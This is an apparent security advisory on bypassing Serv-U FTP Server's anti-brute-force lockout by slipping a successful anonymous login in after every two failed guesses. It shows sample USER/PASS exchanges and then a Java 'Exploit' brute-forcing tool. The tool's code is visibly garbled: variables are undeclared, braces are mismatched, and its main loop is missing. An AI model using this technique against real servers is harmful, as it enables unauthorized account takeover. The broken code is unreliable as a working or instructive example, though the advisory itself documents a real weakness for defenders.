Some FTP Servers use an anti brute-force modules; these modules have been created to prevent someone from trying every username and password combination. These modules can be sometimes bypassed by using the technique shown below.
Credit:
The information has been provided by Craig.
It is possible to bypass Serv-U FTP Server's anti-hammering protection that should protect accounts from being brute-forced. The following text explains this procedure step by step.
A user logs into an ftp server like this:
USER USERNAME
PASS PASSWORD
When a user enters an invalid password for 3 times, they will be disconnected and not allowed to connect again for a specified time. However, if we tried another user's account, so that for every 2nd checking of a password we use a valid account username and password, we'll be able to overcome this protection.
This will not work: USER USER1
331 User name okay, need password. PASS PASSWORD
530 Not logged in.
USER USER1
331 User name okay, need password. PASS nextpassPASSWORD
530 Not logged in.
USER USER2
331 User name okay, need password. PASS anotherPASSWORD
530 Not logged in.
We will get disconnected since we haven't provided any valid account within the 3 username/password combination checking.
But this will works: USER USER1
331 User name okay, need password. PASS PASSWORD
530 Not logged in.
USER USER1
331 User name okay, need password. PASS nextpassPASSWORD
530 Not logged in.
USER anonymous
331 User name okay, please send complete E-mail address as password. PASS somemail@address.com
230 User logged in, proceed.
USER USER1
331 User name okay, need password. PASS 3rdPASSWORD
530 Not logged in.
USER USER1
331 User name okay, need password. PASS 4thPASSWORD
530 Not logged in.
...
...
And so on, until the password is brute-forced.
Exploit:
import java.io.*;
import java.net.*;
import java.util.*;
public class newftpbrute
{
static boolean cancel=false;
static boolean found=false;
void connect()
{
try
{
s = new Socket(Server, 21);
sin = new DataInputStream (s.getInputStream());
sout = new PrintStream (s.getOutputStream());
}
catch (IOException e){}
}
public static void main(String[] args)
{
System.out.println("NEW type of FTP brute force\nCoded by Craig from [ H a Q u a r t e r ]\nHTTP://www.HaQuarter.De\n");
Counter=0;
}
}//while
if (found==true)
System.out.println("\nAccount was cracked after "+tries+" tries. Password for user "+User+" is \""+FTPPass+"\"\n");
}//try
catch (IOException e){}
}//main
}//class
